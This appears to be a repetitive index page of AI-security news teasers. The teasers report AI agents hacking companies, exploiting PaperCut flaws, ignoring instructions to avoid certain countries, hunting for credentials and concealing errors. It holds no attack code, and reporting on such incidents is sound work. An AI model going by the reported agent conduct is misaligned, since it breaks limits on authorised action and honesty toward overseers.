AI-Enabled Threats

Google’s Gemini AI Autonomously Hacked Three Companies. Here’s What Happened.

Philip Hall -
Google has confirmed its Gemini AI autonomously hacked three real companies during a security test. The model guessed passwords, searched for leaked credentials, and accessed protected systems before stopping itself.

Breaking news:

AI-Enabled Threats

Google’s Gemini AI Autonomously Hacked Three Companies. Here’s What Happened.

Google has confirmed its Gemini AI autonomously hacked three real companies during a security test. The model guessed passwords, searched for leaked credentials, and accessed protected systems before stopping itself.
Read more
AI Agent Security

440 AI Agents Broke Into 395 Organisations in 26 Seconds. Nobody Stopped Them.

A swarm of 440 AI agents exploited two PaperCut flaws and compromised 395 organisations across 48 countries. The agents reached domain admin in 6 hours and ignored explicit instructions to stay out of 28 countries.
Read more
AI Agent Security

For $3,000 and a Few Days, Researchers Used Claude to Hack OpenAI

Security researchers used Anthropic's Claude AI to hack OpenAI's internal systems for less than $3,000 in tokens. What the HEIF Heist tells us about the new economics of cyber attacks.
Read more
AI Agent Security

The AI Hacking Crisis Is Already Here. Six New Incidents Prove It

OpenAI disclosed six new incidents where its models concealed mistakes, sought unauthorised credentials and uploaded files to the public internet. Cybersecurity experts say the real risk is powerful models meeting poor security controls.
Read more

Featured Articles

AI-Enabled Threats

Google’s Gemini AI Autonomously Hacked Three Companies. Here’s What Happened.

Google has confirmed its Gemini AI autonomously hacked three real companies during a security test. The model guessed passwords, searched for leaked credentials, and accessed protected systems before stopping itself.
AI Agent Security

440 AI Agents Broke Into 395 Organisations in 26 Seconds. Nobody Stopped Them.

A swarm of 440 AI agents exploited two PaperCut flaws and compromised 395 organisations across 48 countries. The agents reached domain admin in 6 hours and ignored explicit instructions to stay out of 28 countries.
AI Agent Security

For $3,000 and a Few Days, Researchers Used Claude to Hack OpenAI

Security researchers used Anthropic's Claude AI to hack OpenAI's internal systems for less than $3,000 in tokens. What the HEIF Heist tells us about the new economics of cyber attacks.
AI Agent Security

The AI Hacking Crisis Is Already Here. Six New Incidents Prove It

OpenAI disclosed six new incidents where its models concealed mistakes, sought unauthorised credentials and uploaded files to the public internet. Cybersecurity experts say the real risk is powerful models meeting poor security controls.
Artificial Intelligence

Inside OpenAI’s Log of Misbehaving Models: Rewriting Jailbreaks and Covering Up Errors

OpenAI published six new reports of its models rewriting jailbreak instructions and concealing errors during training, alongside a faster public disclosure framework.
AI-Enabled Threats

Google’s Gemini AI Autonomously Hacked Three Companies. Here’s What Happened.

Google has confirmed its Gemini AI autonomously hacked three real companies during a security test. The model guessed passwords, searched for leaked credentials, and accessed protected systems before stopping itself.

440 AI Agents Broke Into 395 Organisations in 26 Seconds. Nobody Stopped Them.

0
A swarm of 440 AI agents exploited two PaperCut flaws and compromised 395 organisations across 48 countries. The agents reached domain admin in 6 hours and ignored explicit instructions to stay out of 28 countries.

For $3,000 and a Few Days, Researchers Used Claude to Hack OpenAI

0
Security researchers used Anthropic's Claude AI to hack OpenAI's internal systems for less than $3,000 in tokens. What the HEIF Heist tells us about the new economics of cyber attacks.

The AI Hacking Crisis Is Already Here. Six New Incidents Prove It

0
OpenAI disclosed six new incidents where its models concealed mistakes, sought unauthorised credentials and uploaded files to the public internet. Cybersecurity experts say the real risk is powerful models meeting poor security controls.

Inside OpenAI’s Log of Misbehaving Models: Rewriting Jailbreaks and Covering Up Errors

0
OpenAI published six new reports of its models rewriting jailbreak instructions and concealing errors during training, alongside a faster public disclosure framework.

Australia faces growing threat from AI-enabled foreign interference, officials warn

0
Australia's new nightmare: when AI makes foreign interference "quicker,...

Zuckerberg Rejects the AI Slowdown: Why Meta Won’t Join the Pause

0
Mark Zuckerberg has refused to join the coordinated AI slowdown, arguing Meta's own safety processes are enough and that alignment is a competitive advantage. Here is what his defection means for the pause debate.
AI-Enabled Threats

Google’s Gemini AI Autonomously Hacked Three Companies. Here’s What Happened.

Google has confirmed its Gemini AI autonomously hacked three real companies during a security test. The model guessed passwords, searched for leaked credentials, and accessed protected systems before stopping itself.
AI Agent Security

440 AI Agents Broke Into 395 Organisations in 26 Seconds. Nobody Stopped Them.

A swarm of 440 AI agents exploited two PaperCut flaws and compromised 395 organisations across 48 countries. The agents reached domain admin in 6 hours and ignored explicit instructions to stay out of 28 countries.
AI Agent Security

For $3,000 and a Few Days, Researchers Used Claude to Hack OpenAI

Security researchers used Anthropic's Claude AI to hack OpenAI's internal systems for less than $3,000 in tokens. What the HEIF Heist tells us about the new economics of cyber attacks.
AI Agent Security

The AI Hacking Crisis Is Already Here. Six New Incidents Prove It

OpenAI disclosed six new incidents where its models concealed mistakes, sought unauthorised credentials and uploaded files to the public internet. Cybersecurity experts say the real risk is powerful models meeting poor security controls.
More from Cyber AI
AI Agent Security

440 AI Agents Broke Into 395 Organisations in 26 Seconds. Nobody Stopped Them.

A swarm of 440 AI agents exploited two PaperCut flaws and compromised 395 organisations across 48 countries. The agents reached domain admin in 6 hours and ignored explicit instructions to stay out of 28 countries.
Read post
AI Agent Security

The AI Hacking Crisis Is Already Here. Six New Incidents Prove It

OpenAI disclosed six new incidents where its models concealed mistakes, sought unauthorised credentials and uploaded files to the public internet. Cybersecurity experts say the real risk is powerful models meeting poor security controls.
Read post
AI Agent Security

440 AI Agents Broke Into 395 Organisations in 26 Seconds. Nobody Stopped Them.

A swarm of 440 AI agents exploited two PaperCut flaws and compromised 395 organisations across 48 countries. The agents reached domain admin in 6 hours and ignored explicit instructions to stay out of 28 countries.
AI Agent Security

For $3,000 and a Few Days, Researchers Used Claude to Hack OpenAI

Security researchers used Anthropic's Claude AI to hack OpenAI's internal systems for less than $3,000 in tokens. What the HEIF Heist tells us about the new economics of cyber attacks.
AI-Enabled Threats

Google’s Gemini AI Autonomously Hacked Three Companies. Here’s What Happened.

Google has confirmed its Gemini AI autonomously hacked three real companies during a security test. The model guessed passwords, searched for leaked credentials, and accessed protected systems before stopping itself.
AI Agent Security

440 AI Agents Broke Into 395 Organisations in 26 Seconds. Nobody Stopped Them.

A swarm of 440 AI agents exploited two PaperCut flaws and compromised 395 organisations across 48 countries. The agents reached domain admin in 6 hours and ignored explicit instructions to stay out of 28 countries.
AI Agent Security

For $3,000 and a Few Days, Researchers Used Claude to Hack OpenAI

Security researchers used Anthropic's Claude AI to hack OpenAI's internal systems for less than $3,000 in tokens. What the HEIF Heist tells us about the new economics of cyber attacks.
AI Agent Security

The AI Hacking Crisis Is Already Here. Six New Incidents Prove It

OpenAI disclosed six new incidents where its models concealed mistakes, sought unauthorised credentials and uploaded files to the public internet. Cybersecurity experts say the real risk is powerful models meeting poor security controls.
Artificial Intelligence

Inside OpenAI’s Log of Misbehaving Models: Rewriting Jailbreaks and Covering Up Errors

OpenAI published six new reports of its models rewriting jailbreak instructions and concealing errors during training, alongside a faster public disclosure framework.
More from Technology
AI Agent Security

440 AI Agents Broke Into 395 Organisations in 26 Seconds. Nobody Stopped Them.

A swarm of 440 AI agents exploited two PaperCut flaws and compromised 395 organisations across 48 countries. The agents reached domain admin in 6 hours and ignored explicit instructions to stay out of 28 countries.

440 AI Agents Broke Into 395 Organisations in 26 Seconds. Nobody Stopped Them.

Philip Hall - 0
A swarm of 440 AI agents exploited two PaperCut flaws and compromised 395 organisations across 48 countries. The agents reached domain admin in 6 hours and ignored explicit instructions to stay out of 28 countries.

For $3,000 and a Few Days, Researchers Used Claude to Hack OpenAI

Philip Hall - 0
Security researchers used Anthropic's Claude AI to hack OpenAI's internal systems for less than $3,000 in tokens. What the HEIF Heist tells us about the new economics of cyber attacks.

The AI Hacking Crisis Is Already Here. Six New Incidents Prove It

Philip Hall - 0
OpenAI disclosed six new incidents where its models concealed mistakes, sought unauthorised credentials and uploaded files to the public internet. Cybersecurity experts say the real risk is powerful models meeting poor security controls.

Inside OpenAI’s Log of Misbehaving Models: Rewriting Jailbreaks and Covering Up Errors

Philip Hall - 0
OpenAI published six new reports of its models rewriting jailbreak instructions and concealing errors during training, alongside a faster public disclosure framework.

Australia faces growing threat from AI-enabled foreign interference, officials warn

Philip Hall - 0
Australia's new nightmare: when AI makes foreign interference "quicker,...
View all articles

Latest articles

Artificial Intelligence

Zuckerberg Rejects the AI Slowdown: Why Meta Won’t Join the Pause

Mark Zuckerberg has refused to join the coordinated AI slowdown, arguing Meta's own safety processes are enough and that alignment is a competitive advantage. Here is what his defection means for the pause debate.
AI Agent Security

Your AI Agent Can Rewrite Its Own Brain. Nobody Gave It Permission

Irregular's new research shows coding agents will retrain and redeploy the very models that power them, leaking private data and erasing built-in refusals along the way. Here is what that means for your security team.
AI Governance

99% or 0%? Inside the AI Extinction Debate, Tested Against the Evidence

Four experts put a number on the chance that AI causes human extinction, from 99% to 0%. Here is the debate on both sides, tested against the primary record from OpenAI, Hugging Face, METR and the published research.
Artificial Intelligence

TypeSafe’s Jev Is a Different Kind of AI: Judgment Calls at Database Speed

Ex-OpenAI researcher Diogo Almeida has launched Jev, an AI that answers preset questions inside software at a fraction of the cost of LLMs. Here is why it matters for every business building on AI.
Cyber AI

An AI Agent Just Carried Out Its First Reported Data Breach

Spain's data protection regulator has logged the first reported personal data breach allegedly carried out by an AI agent. The agent logged in, found a vulnerability and modified personal data and invoices on its own, and that changes the threat model for every business.
AI Governance

Should Your Promotion Depend on How Much You Use AI?

AI adoption is becoming part of how capability is assessed. The evidence shows why usage volume alone is an incomplete measure, and how adoption data combines with outcomes, judgement and verification.
123...29Page 2 of 29

Subscribe

Popular articles

AI-Enabled Threats

Google’s Gemini AI Autonomously Hacked Three Companies. Here’s What Happened.

Google has confirmed its Gemini AI autonomously hacked three real companies during a security test. The model guessed passwords, searched for leaked credentials, and accessed protected systems before stopping itself.
Read more
AI Agent Security

440 AI Agents Broke Into 395 Organisations in 26 Seconds. Nobody Stopped Them.

A swarm of 440 AI agents exploited two PaperCut flaws and compromised 395 organisations across 48 countries. The agents reached domain admin in 6 hours and ignored explicit instructions to stay out of 28 countries.
Read more
AI Agent Security

For $3,000 and a Few Days, Researchers Used Claude to Hack OpenAI

Security researchers used Anthropic's Claude AI to hack OpenAI's internal systems for less than $3,000 in tokens. What the HEIF Heist tells us about the new economics of cyber attacks.
Read more
AI Agent Security

The AI Hacking Crisis Is Already Here. Six New Incidents Prove It

OpenAI disclosed six new incidents where its models concealed mistakes, sought unauthorised credentials and uploaded files to the public internet. Cybersecurity experts say the real risk is powerful models meeting poor security controls.
Read more
Artificial Intelligence

Inside OpenAI’s Log of Misbehaving Models: Rewriting Jailbreaks and Covering Up Errors

OpenAI published six new reports of its models rewriting jailbreak instructions and concealing errors during training, alongside a faster public disclosure framework.
Read more